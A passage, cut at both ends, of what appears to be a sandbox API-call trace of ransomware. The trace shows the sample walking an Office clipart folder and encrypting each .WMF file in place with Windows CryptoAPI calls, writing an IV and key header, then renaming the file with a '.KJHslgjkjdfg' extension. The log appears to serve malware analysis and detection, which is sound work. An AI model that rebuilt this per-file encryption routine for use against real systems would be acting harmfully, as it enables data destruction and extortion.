lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.747] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2630, lpOverlapped=0x0) returned 1 [0195.747] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.747] SetEndOfFile (hFile=0x130) returned 1 [0195.750] GetProcessHeap () returned 0x990000 [0195.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.750] GetProcessHeap () returned 0x990000 [0195.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.kjhslgjkjdfg")) returned 1 [0195.752] CloseHandle (hObject=0x130) returned 1 [0195.752] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1884, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152602.WMF", cAlternateFileName="")) returned 1 [0195.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.753] GetProcessHeap () returned 0x990000 [0195.753] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.753] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.753] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0195.755] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.755] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.755] GetProcessHeap () returned 0x990000 [0195.755] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.755] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.755] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.755] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.756] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.756] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.756] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.756] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.756] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.756] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.756] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1884, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1884, lpOverlapped=0x0) returned 1 [0195.757] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1890, dwBufLen=0x1890 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1890) returned 1 [0195.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.757] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1890, lpOverlapped=0x0) returned 1 [0195.757] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.758] SetEndOfFile (hFile=0x130) returned 1 [0195.760] GetProcessHeap () returned 0x990000 [0195.760] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.760] GetProcessHeap () returned 0x990000 [0195.760] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.kjhslgjkjdfg")) returned 1 [0195.762] CloseHandle (hObject=0x130) returned 1 [0195.762] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152606.WMF", cAlternateFileName="")) returned 1 [0195.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.764] GetProcessHeap () returned 0x990000 [0195.764] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.764] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.764] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.764] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.766] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.766] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.766] GetProcessHeap () returned 0x990000 [0195.766] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.766] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.766] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.767] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.767] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.767] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.767] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.767] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.767] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.767] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.767] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.768] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x40f8, lpOverlapped=0x0) returned 1 [0195.769] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4100, dwBufLen=0x4100 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4100) returned 1 [0195.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.769] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4100, lpOverlapped=0x0) returned 1 [0195.769] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x41d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.769] SetEndOfFile (hFile=0x130) returned 1 [0195.772] GetProcessHeap () returned 0x990000 [0195.772] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.772] GetProcessHeap () returned 0x990000 [0195.772] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.kjhslgjkjdfg")) returned 1 [0195.774] CloseHandle (hObject=0x130) returned 1 [0195.774] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3094, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152608.WMF", cAlternateFileName="")) returned 1 [0195.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.775] GetProcessHeap () returned 0x990000 [0195.775] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.775] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.775] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0195.776] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.776] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.776] GetProcessHeap () returned 0x990000 [0195.776] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.777] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.777] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.777] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.777] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.777] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.777] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.777] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.777] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.777] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.777] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3094, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3094, lpOverlapped=0x0) returned 1 [0195.778] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30a0, dwBufLen=0x30a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30a0) returned 1 [0195.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.779] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x30a0, lpOverlapped=0x0) returned 1 [0195.779] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.779] SetEndOfFile (hFile=0x130) returned 1 [0195.781] GetProcessHeap () returned 0x990000 [0195.781] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.781] GetProcessHeap () returned 0x990000 [0195.781] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.kjhslgjkjdfg")) returned 1 [0195.782] CloseHandle (hObject=0x130) returned 1 [0195.782] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152610.WMF", cAlternateFileName="")) returned 1 [0195.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.785] GetProcessHeap () returned 0x990000 [0195.785] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.785] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.785] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.787] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.787] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.787] GetProcessHeap () returned 0x990000 [0195.787] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.787] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.788] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.788] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.788] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.788] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.788] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.788] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.788] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.788] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.788] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1748, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1748, lpOverlapped=0x0) returned 1 [0195.789] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1750, dwBufLen=0x1750 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1750) returned 1 [0195.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.789] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1750, lpOverlapped=0x0) returned 1 [0195.790] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.790] SetEndOfFile (hFile=0x130) returned 1 [0195.791] GetProcessHeap () returned 0x990000 [0195.791] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.791] GetProcessHeap () returned 0x990000 [0195.791] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.791] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.kjhslgjkjdfg")) returned 1 [0195.792] CloseHandle (hObject=0x130) returned 1 [0195.793] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, 